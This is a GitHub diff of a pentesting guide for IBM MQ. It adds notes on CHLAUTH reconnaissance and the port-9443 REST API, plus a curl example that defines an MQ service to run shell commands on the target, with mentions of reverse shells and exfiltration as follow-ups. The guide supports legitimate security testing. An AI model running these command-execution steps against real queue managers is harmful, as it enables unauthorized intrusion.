You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/network-services-pentesting/1414-pentesting-ibmmq.md
+83-4Lines changed: 83 additions & 4 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -68,6 +68,8 @@ After, it can be used with `punch-q` command.
68
68
69
69
You can try to enumerate the **queue manager name, the users, the channels and the queues** with **punch-q** or **pymqi**.
70
70
71
+
If TCP/1414 is filtered or the target only exposes the embedded web server, check **TCP/9443** too. Recent IBM MQ versions expose the **IBM MQ Console / REST API** there by default when `mqweb` is enabled, and the administrative REST endpoint can execute arbitrary **MQSC** commands if you have valid credentials.
72
+
71
73
### Queue Manager
72
74
73
75
Sometimes, there is no protection against getting the Queue Manager name:
@@ -155,6 +157,29 @@ Showing channels with prefix: "*"...
155
157
| SYSTEM.DEF.CLNTCONN | Client-connection ||||||
156
158
```
157
159
160
+
### CHLAUTH / OAM recon
161
+
162
+
A lot of "it connects but returns `2035`" cases are caused by **CHLAUTH** rules or by missing **OAM** permissions on the target objects.
163
+
164
+
If you already have administrative MQSC access, `MATCH(RUNCHECK)` is the fastest way to understand which rule will be applied to a remote connection:
If you have enough rights to use PCF remotely, IBM exposes `MQCMD_INQUIRE_CHLAUTH_RECS`, which returns the channel authentication records and their mappings to `MCAUSER`. That is useful to confirm whether a channel maps remote users to a more privileged local account before trying message access, object creation, or service abuse.
182
+
158
183
### Queues
159
184
160
185
There is a code snippet with **pymqi** (`dis_queues.py`) but **punch-q** permits to retrieve more pieces of info about the queues:
@@ -213,6 +238,8 @@ You can target queue(s)/channel(s) to sniff out / dump messages from them (non-d
213
238
>
214
239
> _Note: always according to IBM MQ documentation (Administration Reference), there is also an HTTP endpoint at `/admin/action/qmgr/{qmgrName}/mqsc` to run the equivalent MQSC command for service creation (`DEFINE SERVICE`). This aspect is not covered yet here._
215
240
241
+
If **MQ Console / REST API** credentials are available, you can often reach the same administrative primitives over HTTPS on **9443** without using the MQ client libraries. IBM documents `/ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc` as an endpoint that accepts **plain-text MQSC** or **JSON** commands.
242
+
216
243
The service creation / deletion with PCF for remote program execution can be done by **punch-q**:
217
244
218
245
**Example 1**
@@ -246,6 +273,34 @@ Done
246
273
247
274
**Be aware that the program launch is asynchronous. So you need a second item to leverage the exploit****_(listener for reverse shell, file creation on different service, data exfiltration through network ...)_**
248
275
276
+
The same technique can be driven from the REST API:
277
+
278
+
```bash
279
+
curl -sku 'admin:passw0rd' \
280
+
-H 'ibm-mq-rest-csrf-token: anything' \
281
+
-H 'Content-Type: text/plain;charset=utf-8' \
282
+
--data "DEFINE SERVICE(HACKTRICKS) CONTROL(MANUAL) SERVTYPE(COMMAND) STARTCMD('/bin/sh') STARTARG('-c id >/tmp/mq.id')" \
0 commit comments